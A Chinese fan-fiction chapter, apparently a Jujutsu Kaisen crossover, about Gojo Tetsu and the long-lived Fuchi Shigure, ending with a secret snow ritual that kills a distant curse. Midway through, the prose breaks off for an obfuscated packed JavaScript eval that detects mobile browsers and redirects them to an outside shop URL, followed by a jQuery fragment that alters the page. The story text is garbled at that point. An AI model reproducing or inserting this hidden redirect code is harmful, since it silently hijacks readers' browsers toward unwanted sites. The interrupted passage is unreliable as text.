「是夜,庭中忽闻歌声,如咏如叹,闻者莫知所由。」

    ——《五条家旧记·杂录》

    ————

    天色阴沉沉地压了好几日,初雪终于落了下来。

    一开始极细极疏,像是谁在天上筛着碾碎的月光,落到瓦片上便不见了踪影;后来越下越大,密密匝匝地铺下来,将整座五条屋敷裹进一片寂静的白。

    五条徹踏进庭院,一头白发被寒风吹得散乱,苍蓝色的眼睛里还残留着术式发动后的冷意。但他看见廊下站着的人时,眼中的情绪又迅速退去。

    只见那抹白色的身影半倚着廊柱,乌发间银丝被雪光映得发亮,手里捧着一杯热茶,在空中袅袅升起一团白雾。

    不知时雨听到脚步声,转过头来,捕捉到五条徹不佳的精神,微微皱眉。

    “回来了?”他走上前,抬手拂去五条徹肩头的落雪,手指顺势滑到他的后颈,贴着他被寒风吹得发红的皮肤,轻轻按了一下。

    “嗯。”五条徹应了一声,声音微哑,“在看什么?”

    不知时雨看向庭院里的积雪,说道:“看雪,这是今年的第一场。”

    “好看吗?”

    不知时雨笑了一下,伸出手接住一片飘落的雪花,那片雪落在他微凉的掌心,六瓣棱角分明,没有融化。

    然后,他将那枚细小的雪递到两人视线之间。

    “想听我说什么?”不知时雨贴近五条徹,睫毛在雪光下泛着银灰色光晕,灰色的瞳孔里倒映着漫天飞舞的白……和一双正在注视他的苍蓝色眼睛,“不及你。”

    五条徹的耳尖肉眼可见的红了,然后迅速蔓延到颈侧,一路烧进衣领底下。

    “……你最近越来越——”他不敢看不知时雨的眼睛,只能小声嘟囔着。

    不知时雨正把玩着那片雪花,闻言微微仰头,柔软的唇轻轻擦过身后人的喉结,五条徹的话顿时就卡在了嗓子里。

    “嗯?”

    五条徹喉结上下滚动了一下,直接放弃挣扎,一把将头埋进不知时雨的颈窝,狠狠吸了一口气。

    雪渐渐的停了,庭院里的松枝上覆着白雪,偶有雪屑从枝头簌簌落下,落在两人交叠的衣袂上。

    廊下悬着的铜铃在无风的夜里安静地垂着,月亮从云层间漏出一角,洒下一片银白。

    “徹。”不知时雨将那片停在掌心的雪花轻轻吹落,看着它飘进庭院里的积雪中,才收回视线,“我有一个问题要问你。”

    “什么问题?”

    “你们为什么能够瞬发结界术?”他微微侧过头,唇角挂着笑意,“咒术师是因为纹路在体内,咒词作祷告,自身为祭品。”

    “结界术作用于外界,媒介是什么?”

    “媒介?”五条徹的手臂圈在他腰上,下巴搁在他肩头,想了一会儿才开口,“……没有那种东西,结界术基本只能在天元咒力范围内使用,其他地方会很麻烦。”

    “天元大人的咒力覆盖全国,因此大多结界的使用其实都是依托于天元,而不是自身。”

    不知时雨若有所思地“嗯”了一声,又问道:“天元活了多久?”

    “大概有六七百年了吧?”五条徹从把不知时雨圈得更紧了些,“你问这个做什么?”

    “如此长久的寿命……”不知时雨垂眸,“你们有没有想过——”

    “天元的本质是什么?”

    五条徹陷入思考,半晌才有些迟疑的给出一个答案:“人类?天元大人的术式是不死,只要有星浆体便能一直活着。”

    不知时雨忍不住弯起嘴角,抬手拍了拍他的头,五条徹被他拍得莫名其妙。

    “这只是我在想的而已。”不知时雨眼里流露出的些许无奈的笑意,“长生者之所以可以长生,是因为我等在飞升之后已经不能算作人类,但天元……”

    “不死的术式太特殊了,徹。”

    不知时雨离开五条徹怀里,抬头看向天空,月亮落进他的眼里,好似两面蒙上霜的镜子。

    “永葆平衡之神啊,你会允许这般行事吗?”不知时雨喃喃道,“又或者……”

    月光把那素白的衣袍染成一片清辉,不知时雨正要收回视线,忽然腰间一紧——

    五条徹伸手,揽住他的腰,把他拉进怀里,还按了按他的头。

    感受到这只白毛猫的情绪,不知时雨失笑,顺从地把脸贴在他的胸口,听那颗心脏强有力地撞击着胸腔,越来越快。

    “徹大人——”

    廊下传来侍从急促的脚步声和压低的通报,五条徹的手臂僵了一下。

    他恋恋不舍地松开不知时雨,指腹擦过他的脸颊,转身走到门口时又回过头来,说道:“等我回来。”

    不知时雨看着他,点头应下。

    自那之后,雪又陆陆续续下了好几场。

    五条徹的足迹几乎遍布全国,无下限的咒力残香在各个祓除地点之间都要连成一片看不见的网。

    但他总会回到屋敷,即使已是深夜,即使下一次任务已经在路上。

    不知时雨常坐在窗边,看见少年每次归来时衣襟上沾着的雪与痕。烛火在他脸上明灭,长生者的思绪自己身蔓延开来:寿命、不死、咒灵、司辰……它们在他灰色的眼眸里堆积,越积越厚,越积越冷。

    “哒哒……哒……”

    廊下熟悉的脚步声响起,不知时雨抬起头,将眼中的思绪掩去。五条徹推开门,白发被融化的雪水浸湿,贴在额前。

    “这段时间……”不知时雨想开口说些什么,却又在触及那双苍蓝色的眼眸时停住。

    五条徹直接大步上前,将人整个箍进怀里,被雪水浸湿的白发蹭过不知时雨的脸颊,冰得他一激灵。

    “你多看看我……”他的声音闷闷的,听不出是命令还是请求。

    不知时雨怔了一下,然后失笑:“我不是每天都在看吗。”

    “不够……”五条徹抬起头看了一眼,又匆匆把头埋回去,“幕府这个月又扔了好多任务……”

    “京中好多小家族都隐约偏向禅院了……为什么?明明他们……”他的声音越说越低,到后面几乎是在喃喃自语,“我只是不明白,为什么大家对六眼的态度那么奇怪,就像——”

    想起那天和室内流淌到他脚下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796535|206918||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的血,五条徹的话一下子堵在喉咙里。

    不知时雨将手指插入那片散落的白发间,缓缓摩挲,像是在梳理一只大猫被暴风雪淋湿的毛发。

    “好了……”他轻吻五条徹的额头,“庸人是无法理解的……”

    五条徹委屈地蹭了蹭他,鼻尖蹭过他的锁骨,把整个人的重量都压了上去,不知时雨任由他抱着,轻轻。

    脚步声在廊下响起,五条徹的肩膀明显僵了一下。

    “我得出去了。”他说。

    “好。”不知时雨笑了笑,抬手替他理了理被蹭乱的衣襟。

    五条徹直起身,理了理衣襟,匆匆离去。

    纸门在他身后缓缓合拢,将那片月光重新关进幽暗的内室。

    不知时雨坐在榻上,侧脸被从纸门缝隙漏进来的一线月光照亮,眼中方才那些温柔的安抚一点一点地褪去。

    他站起身,披上外袍,赤足推开纸门。

    庭中月光如练,白雪无垠。

    他取出三根蜡烛,依次安放在庭院中央。随后,银蓝色的纹路从蜡烛底部开始蔓延,在雪地上缓缓勾勒出一个复杂的法阵。

    不知时雨站在法阵中央,素白的衣袍被风鼓起,乌发间那几缕银丝在雪光中格外刺眼。强大的冬之影响在他身边凝聚,尽数灌入法阵之中。

    “我之神明啊……”不知时雨轻声开口,声音里多了一层不属于人间的回响。

    他微微仰起头,烛火、飞雪与漫天星辉倾泻在他脸上,将那本就素白的肤色映得近乎透明。

    “我再次拜请仍在燃烧之神、遥不可及之神、不类前身之神、饰金着红之神。”

    风雪越来越大了,但那些雪花在落进法阵范围的瞬间便停滞在空中,悬浮着,像无数只静止的白蝶。

    不知时雨身形开始模糊,素衣袍与漫天的飞雪之间的界限越来越不清晰。

    金色的光芒从法阵边缘升起,舔舐着夜空中飘落的雪花,将整个庭院笼进一片诡谲而庄严的光晕中,好似黄昏与永夜交界处最后一抹燃烧的晚霞。

    “……请予以凄美。”

    随着仪式对象的确定,三根蜡烛的火焰猛地上窜,光晕从内到外出现了三层不同颜色的变化,最外层是温润如玉的赤红,中层是灼灼如日冕的金焰,最深处则是一小簇极致的黑。

    而后风声骤停,漫天飞雪在这一刻全部悬停在空中,火焰也不再跳动,却不熄不灭。

    不知时雨唇角溢出一丝鲜血,顺着下颌滑落,滴在素白的衣襟上,违背白骨誓言向司辰请拜的反噬与三神的欣喜同时抵达。

    三根蜡烛那金色的焰心裹着黑色的核心,一动不动地立在雪中,像三只永不闭合的眼睛,死死地注视着他。

    千里之外,五条徹面前那只咒灵的动作突然停滞,好似被严寒冰冻一般。之后,它的躯体开始迅速枯萎,能量迅速消解,就像是被什么不可见的力量从内部抽走了生命力,无声无息地化为灰烬。

    五条徹站在原地,六眼怔怔地看着空气中突然出现的寒气。然后,他猛地转身,望向五条屋敷的方向。

    林梢之上,月正当空。